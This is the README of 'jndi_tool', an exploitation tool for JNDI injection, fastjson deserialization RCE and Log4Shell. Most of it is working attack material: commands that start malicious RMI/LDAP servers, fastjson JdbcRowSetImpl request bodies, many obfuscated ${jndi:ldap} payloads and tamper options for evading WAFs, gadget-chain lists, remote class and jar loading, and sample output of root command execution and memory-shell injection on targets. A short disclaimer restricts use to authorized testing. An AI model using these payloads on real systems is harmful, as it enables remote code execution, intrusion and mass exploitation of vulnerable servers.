search

wyzxxz / jndi_tool

JNDI服务利用工具 RMI/LDAP，支持部分场景回显、内存shell，高版本JDK场景下利用等，fastjson rce命令执行，log4j rce命令执行 漏洞检测辅助工具
1.93k stars 318 forks source link

readme

jndi_tool

声明： 此工具仅用于企业安全人员自查验证自身企业资产的安全风险，或有合法授权的安全测试，请勿用于其他用途，如有，后果自负。

download_url : https://share.feijipan.com/s/RDAurTUL

> java -jar jndi_tool.jar 
Usage:
jndi_http:
java -cp jndi_tool.jar jndi.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" 
java -cp jndi_tool.jar jndi.HLDAPServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"

rmi_high_jdk:
java -cp jndi_tool.jar jndi.EvilRMIServer 8888 1099 "curl dnslog.wyzxxz.cn" el-win/el-linux/groovy

ldap_normal:
java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host=127.0.0.1

ldap_auto:
java -cp jndi_tool.jar jndi.LDAPRefServerAuto 127.0.0.1 1099 80 file=filename (param_format: __JNDI__) 

fastjson:
java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename tamper=tohex chunk=on
java -cp jndi_tool.jar jndi.fastjson.BCELEncode "curl dnslog.wyzxxz.cn"
java -cp jndi_tool.jar jndi.fastjson.Tamper  "{\"abc\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Object\",\"autoCommit\":true}}" 

log4j:
java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j 127.0.0.1 80 "whoami" http://target w=tomcat/groory/http  default:http
java -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}" all=true random=true
java -cp jndi_tool.jar jndi.log4j.Log4j 127.0.0.1 80 url=http://xx.xx or urls=1.txt thread=10    log4j检测，建议用 0 或者 4 的payload ,相对通用一些

新增的 jndi.LDAPRefServerAuto 示例
> cat request1.txt
GET /${jndi:__JNDI__} HTTP/1.1
Host: xx.xx.xx.xx
Accept: \${jndi:__JNDI__}

> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 file=request1.txt

or

> java -cp jndi_tool.jar jndi.LDAPRefServerAuto xx.xx.xx.xx 1099 80 url="http://xx.xx.xx/\${jndi:__JNDI__}"  headers="Accept: \${jndi:__JNDI__}"
[-] url: http://xx.xx.xx/${jndi:__JNDI__}
[-] process headers: {Accept=${jndi:__JNDI__}}
[-] use: ldap://xx.xx.xx:1099/JNDIObject
[-] url: http://xx.xx.xx/${jndi:ldap://xx.xx.xx:1099/JNDIObject}
[-] LDAP Listening on xx.xx.xx:1099
[-] get request delay time, waiting...
[-] use waiting time: 1000
[-] checking CommonsBeanutils2
[-] checking CommonsCollections8
[-] checking CommonsCollections10
[-] checking CommonsCollectionsK1
[-] checking CommonsCollectionsK2
[-] checking CommonsCollectionsK3
[-] checking CommonsCollectionsK4
[-] checking CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] checking CommonsCollections1
[-] checking CommonsCollections2
[-] checking CommonsCollections3
[-] checking CommonsCollections5
[-] checking CommonsCollections6
[-] checking CommonsCollections7
[-] checking CommonsCollections9
[-] checking Groovy1
[-] checking JSON1
[*] find: JSON1 can be use
[-] checking Jdk7u21
[-] checking Spring1
[-] checking Spring2
[-] checking el
waiting ...
retrying ...
[*] find: el can be use
0. CommonsBeanutils1
1. JSON1
2. el
[-] please choose gadget, enter q or quit to quit,
> 0
* example: curl x.xx , bash=curl `whoami`.x.xx
[-] please enter command, enter q or quit to quit,
> curl x.dnslog
[-] please enter command, enter q or quit to quit,
> back
0. CommonsBeanutils1
1. JSON1
2. el
[-] please choose gadget, enter q or quit to quit,
> 2
* example: curl x.xx , bash=curl `whoami`.x.xx
[-] please enter command, enter q or quit to quit,
> curl x.dnslog
[-] please enter command, enter q or quit to quit,
> q                                  

===================================================================================================

[root@ /]# java -cp jndi_tool.jar jndi.HRMIServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"
[-] Opening JRMP listener on 80
[-] Have connection from /xx.xx.xx.xx:33543
[-] Reading message...
[-] Is RMI.lookup call for Exploit 2
[-] Sending remote classloading stub targeting http://xx.xx.xx.xx:80/Object.class
[-] Closing connection
[*] Have connection from /xx.xx.xx.xx:33544 /Object.class
[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7
[-] send payload done and exit.

[root@ /]# java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"
[-] LDAP Listening on 0.0.0.0:80
[*] Send LDAP reference result for Exploit redirecting to http://xx.xx.xx.xx:80/Object.class
[*] Have connection from /xx.xx.xx.xx:33548 /Object.class
[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7
[-] remote target jdk version: java/1.7.0_79, use payload version: jdk7
[-] send payload done and exit.

===================================================================================================

rmi:
1. 启动RMI服务，后面写要执行的语句
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn"

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) 

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

3. 查看日志是否curl成功

===================================================================================================

ldap:
1. 启动LDAP服务，后面写要执行的语句
java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) 

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:80/Object","autoCommit":true}

3. 查看日志是否执行成功

===================================================================================================

ldap:
1. 启动LDAP服务，后面写要执行的语句
> java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host="0.0.0.0"
[-] Payloads: CommonsBeanutils1-2,CommonsCollections1-10,CommonsCollectionsK1-4,Groovy1,Clojure,JSON1,Spring1-2,URLDNS,file,tomcat,groovy
[-] etc: ldap://0.0.0.0:1099/CommonsBeanutils1/curl x.cn
[-] etc: ldap://0.0.0.0:1099/CommonsCollections1/bash=ping x.cn  # bash=后面的命令会自动进行base64编码，支持base=,python=,powershell=,perl=
[-] etc: ldap://0.0.0.0:1099/URLDNS/x.cn
[-] etc: ldap://0.0.0.0:1099/file/base64data_filename
[-] etc: ldap://0.0.0.0:1099/el/whomai
[-] etc: ldap://0.0.0.0:1099/groovy/whomai
[-] etc: ldap://0.0.0.0:1099/mlet/http://xx.xx
[-] etc: ldap://0.0.0.0:1099/groovyload/http://xx.xx
[-] etc: ldap://0.0.0.0:1099/snakeyaml/http://xx.xx/x.jar
[-] etc: ldap://0.0.0.0:1099/xstream/curl x.dns
[-] etc: ldap://0.0.0.0:1099/mvel/whoami
[-] etc: ldap://0.0.0.0:1099/loadlib//tmp/nativeLib_name
[-] etc: ldap://0.0.0.0:1099/tomcatxxe/http://xx.xx/xxe.xml

jdbc:
[-] etc: ldap://0.0.0.0:1099/tomcatdbcp/whoami
[-] etc: ldap://0.0.0.0:1099/tomcatdbcp2/whoami
[-] etc: ldap://0.0.0.0:1099/commondbcp/whoami
[-] etc: ldap://0.0.0.0:1099/commondbcp2/whoami
[-] etc: ldap://0.0.0.0:1099/tomcatjdbc/whoami
[-] etc: ldap://0.0.0.0:1099/druidjdbc/whoami

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) 

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1099/CommonsCollections1/curl x.com","autoCommit":true}

3. 查看日志是否执行成功

===================================================================================================

fastjson: 

> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename

filename为请求包，需要插入fastjson攻击语句的地方，用__PAYLOAD__代替。示例：
POST /fastjson_demo HTTP/1.1
Host: xx.xx.xx.xx
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json
Content-Length: 165

__PAYLOAD__

> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 8088 file=req chunk=on
[-] Chunked coding ON
[-] target: https://xx.xx.xx.xx/fastjson_demo
[-] Payload list:
0. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}
1. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}
[-] [-] please chosse payload, or input payload like payload={......}  chunk=on / chunk=off
> 1
[-] url: https://xx.xx.xx.xx/fastjson_demo
[-] post_data: {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}
[-] LDAP Listening on 127.0.0.1:8088
[-] checking CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[*] CHECK ECHO.
[-] ECHO FIND.
[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off
> id
uid=0(root) gid=0(root) groups=0(root)

[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off
> q
[-] quit

> fastjson.Tamper : fastjson的一些特性，可以绕一些WAF
[-] tamper list: 
tohex 
tounicode 
tohexunicode 
tourlencode 
randomhex 
randomunicode 
addis 
addcomment 
addmorecomment 
addcommas      
addrandomx 
add- 
add_ 
addsize       填充内容

tamper支持多个，但有些不能一起用，多个注意使用的先后顺序，例如 tohex,addcomment

===================================================================================================

log4j

> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 url=http://xx.xx.xx
[-] LDAP Listening on 0.0.0.0:80
0. ${jndi:ldap://********/xobject}
1. ${jndi:ldap://127.0.0.1#********/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}
6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}
7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}
9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 4
[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://****/xobject}
> threads: 1
> url count: 1
[-] start exploit. waiting...
>> target is vul: http://xx.xx.xx
[-] waiting exit...
[-] exit.         

> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 urls=1.txt
[-] LDAP Listening on 0.0.0.0:80
0. ${jndi:ldap://********/xobject}
1. ${jndi:ldap://127.0.0.1#********/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}
6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}
7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}
9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 4
[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
> threads: 2
> url count: 2
[-] start exploit. waiting...
>> target is vul: http://xx.xx.xx
>> target is vul: http://xx.xx.xx
[-] waiting exit...
[-] exit. 

> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/
[-] LDAP Listening on 0.0.0.0:8088
0. ${jndi:ldap://127.0.0.1:8088/xobject}
1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}
5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}
6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}
7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}
9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 0
[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}
[-] start exploit. waiting...
[-] remote target jdk version: java/1.8.0_131, use payload version: jdk8
[-] send payload done
[-] waiting result...
result: 
root

> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/ w=tomcat  // 高版本jdk的绕过，依赖el
[-] LDAP Listening on 0.0.0.0:8088
0. ${jndi:ldap://127.0.0.1:8088/xobject}
1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}
5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}
6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}
7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}
9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 0
[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}
[-] start exploit. waiting...
[-] input class: tomcat, command: curl xx.xx.xx
[*] Send data...
[-] exit.

> java -cp jndi_tool.jar jndi.log4j.Tamper "\${jndi:ldap://127.0.0.1/a}"  random=true
[-] process all string is: False
[-] random process string is: True
--------------------------------------------------
${jndi:ldap://127.0.0.1/a}
${j${upper:n}d${upper:i}:l${upper:d}${upper:a}p://127.0.0.1/a}
${j${upper:n}d${upper:${upper:i}}:l${upper:d}${upper:a}p://127.0.0.1/a}
${j${lower:n}d${lower:i}:l${lower:d}${lower:a}p://127.0.0.1/a}
${j${::-n}d${::-i}:l${::-d}${::-a}p://127.0.0.1/a}
${j${Omhc:qBz:-n}d${b:Hz:-i}:l${vX::-d}${puF:A:-a}p://127.0.0.1/a}
${j${Ez:mk:cHK:Xwn::-n}d${TXjk:LN:vBjQ::-i}:l${Nz:Of:bfDt:AgIH:-d}${TDN:SchK:uWu::-a}p://127.0.0.1/a}
${j${lower:${lower:n}}d${lower:${lower:${lower:${lower:i}}}}:l${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:a}}}}p://127.0.0.1/a}
${j${upper:${upper:${upper:n}}}d${upper:${upper:${upper:${upper:i}}}}:l${upper:${upper:d}}${upper:${upper:a}}p://127.0.0.1/a}
${j${lower:${lower:${lower:${lower:n}}}}d${upper:${lower:${upper:i}}}:l${lower:d}${upper:${upper:${lower:a}}}p://127.0.0.1/a}

* JNDI在高版本的JDK下的利用，综合了 （乌云最帅 没有之一）浅蓝 老板的姿势，很赞*